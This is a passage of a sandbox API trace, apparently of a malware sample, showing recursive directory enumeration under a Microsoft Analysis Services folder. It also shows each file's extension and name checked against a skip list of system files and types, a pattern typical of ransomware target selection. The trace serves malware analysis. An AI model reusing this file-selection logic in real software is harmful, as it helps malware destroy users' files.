ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.633] FindNextFileW (in: hFindFile=0x70b5a8, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 1 [0029.633] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*.*", lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70db30 [0029.637] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.637] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1 [0029.637] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70ba00 [0029.641] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.641] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1 [0029.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BWNG", cchCount1=4, lpString2="XSL", cchCount2=3) returned 1 [0029.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="XSL", cchCount2=3) returned 1 [0029.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="XSL", cchCount2=3) returned 1 [0029.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="XSL", cchCount2=3) returned 1 [0029.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="XSL", cchCount2=3) returned 1 [0029.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="XSL", cchCount2=3) returned 1 [0029.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT", cchCount1=10, lpString2="AS80.XSL", cchCount2=8) returned 3 [0029.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.POL", cchCount1=10, lpString2="AS80.XSL", cchCount2=8) returned 3 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG", cchCount1=14, lpString2="AS80.XSL", cchCount2=8) returned 3 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG1", cchCount1=15, lpString2="AS80.XSL", cchCount2=8) returned 3 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG2", cchCount1=15, lpString2="AS80.XSL", cchCount2=8) returned 3 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICONCACHE.DB", cchCount1=12, lpString2="AS80.XSL", cchCount2=8) returned 3 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="THUMBS.DB", cchCount1=9, lpString2="AS80.XSL", cchCount2=8) returned 3 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTSECT.BAK", cchCount1=12, lpString2="AS80.XSL", cchCount2=8) returned 3 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTMGR", cchCount1=7, lpString2="AS80.XSL", cchCount2=8) returned 3 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DEFAULT.RDP", cchCount1=11, lpString2="AS80.XSL", cchCount2=8) returned 3 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PAGEFILE.SYS", cchCount1=12, lpString2="AS80.XSL", cchCount2=8) returned 3 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HIBERFIL.SYS", cchCount1=12, lpString2="AS80.XSL", cchCount2=8) returned 3 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SWAPFILE.SYS", cchCount1=12, lpString2="AS80.XSL", cchCount2=8) returned 3 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WORDPAD.EXE", cchCount1=11, lpString2="AS80.XSL", cchCount2=8) returned 3 [0029.642] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4932, dwReserved0=0x0, dwReserved1=0x0, cFileName="as90.xsl", cAlternateFileName="")) returned 1 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BWNG", cchCount1=4, lpString2="XSL", cchCount2=3) returned 1 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="XSL", cchCount2=3) returned 1 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="XSL", cchCount2=3) returned 1 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="XSL", cchCount2=3) returned 1 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="XSL", cchCount2=3) returned 1 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="XSL", cchCount2=3) returned 1 [0029.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT", cchCount1=10, lpString2="AS90.XSL", cchCount2=8) returned 3 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.POL", cchCount1=10, lpString2="AS90.XSL", cchCount2=8) returned 3 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG", cchCount1=14, lpString2="AS90.XSL", cchCount2=8) returned 3 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG1", cchCount1=15, lpString2="AS90.XSL", cchCount2=8) returned 3 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG2", cchCount1=15, lpString2="AS90.XSL", cchCount2=8) returned 3 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICONCACHE.DB", cchCount1=12, lpString2="AS90.XSL", cchCount2=8) returned 3 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="THUMBS.DB", cchCount1=9, lpString2="AS90.XSL", cchCount2=8) returned 3 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTSECT.BAK", cchCount1=12, lpString2="AS90.XSL", cchCount2=8) returned 3 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTMGR", cchCount1=7, lpString2="AS90.XSL", cchCount2=8) returned 3 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DEFAULT.RDP", cchCount1=11, lpString2="AS90.XSL", cchCount2=8) returned 3 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PAGEFILE.SYS", cchCount1=12, lpString2="AS90.XSL", cchCount2=8) returned 3 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HIBERFIL.SYS", cchCount1=12, lpString2="AS90.XSL", cchCount2=8) returned 3 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SWAPFILE.SYS", cchCount1=12, lpString2="AS90.XSL", cchCount2=8) returned 3 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WORDPAD.EXE", cchCount1=11, lpString2="AS90.XSL", cchCount2=8) returned 3 [0029.643] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x78e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Informix.xsl", cAlternateFileName="")) returned 1 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BWNG", cchCount1=4, lpString2="XSL", cchCount2=3) returned 1 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="XSL", cchCount2=3) returned 1 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="XSL", cchCount2=3) returned 1 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="XSL", cchCount2=3) returned 1 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="XSL", cchCount2=3) returned 1 [0029.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="XSL", cchCount2=3) returned 1 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT", cchCount1=10, lpString2="INFORMIX.XSL", cchCount2=12) returned 3 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.POL", cchCount1=10, lpString2="INFORMIX.XSL", cchCount2=12) returned 3 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG", cchCount1=14, lpString2="INFORMIX.XSL", cchCount2=12) returned 3 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG1", cchCount1=15, lpString2="INFORMIX.XSL", cchCount2=12) returned 3 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG2", cchCount1=15, lpString2="INFORMIX.XSL", cchCount2=12) returned 3 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICONCACHE.DB", cchCount1=12, lpString2="INFORMIX.XSL", cchCount2=12) returned 1 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="THUMBS.DB", cchCount1=9, lpString2="INFORMIX.XSL", cchCount2=12) returned 3 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTSECT.BAK", cchCount1=12, lpString2="INFORMIX.XSL", cchCount2=12) returned 1 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTMGR", cchCount1=7, lpString2="INFORMIX.XSL", cchCount2=12) returned 1 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DEFAULT.RDP", cchCount1=11, lpString2="INFORMIX.XSL", cchCount2=12) returned 1 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PAGEFILE.SYS", cchCount1=12, lpString2="INFORMIX.XSL", cchCount2=12) returned 3 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HIBERFIL.SYS", cchCount1=12, lpString2="INFORMIX.XSL", cchCount2=12) returned 1 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SWAPFILE.SYS", cchCount1=12, lpString2="INFORMIX.XSL", cchCount2=12) returned 3 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WORDPAD.EXE", cchCount1=11, lpString2="INFORMIX.XSL", cchCount2=12) returned 3 [0029.644] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x712e, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjet.xsl", cAlternateFileName="")) returned 1 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BWNG", cchCount1=4, lpString2="XSL", cchCount2=3) returned 1 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="XSL", cchCount2=3) returned 1 [0029.644] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x851c, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql2000.xsl", cAlternateFileName="")) returned 1 [0029.644] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x7d92, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql70.xsl", cAlternateFileName="")) returned 1 [0029.644] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x9a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql90.xsl", cAlternateFileName="")) returned 1 [0029.644] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 1 [0029.645] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 0 [0029.645] FindClose (in: hFindFile=0x70ba00 | out: hFindFile=0x70ba00) returned 1 [0029.645] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3cf6c00, ftCreationTime.dwHighDateTime=0x1ca2caa, ftLastAccessTime.dwLowDateTime=0x5f005150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3cf6c00, ftLastWriteTime.dwHighDateTime=0x1ca2caa, nFileSizeHigh=0x0, nFileSizeLow=0x2a65d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="MSMDLO~1.DLL")) returned 1 [0029.645] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47fe200, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47fe200, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0xbc4568, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmgdsrv.dll", cAlternateFileName="")) returned 1 [0029.645] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b10f00, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x5f28c8b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b10f00, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0x7c6f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolap100.dll", cAlternateFileName="MSOLAP~1.DLL")) returned 1 [0029.645] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46ad400, ftCreationTime.dwHighDateTime=0x1c8e1fb, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb46ad400, ftLastWriteTime.dwHighDateTime=0x1c8e1fb, nFileSizeHigh=0x0, nFileSizeLow=0x4dc18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.dll", cAlternateFileName="MSOLUI~1.DLL")) returned 1 [0029.645] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0029.646] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*.*", 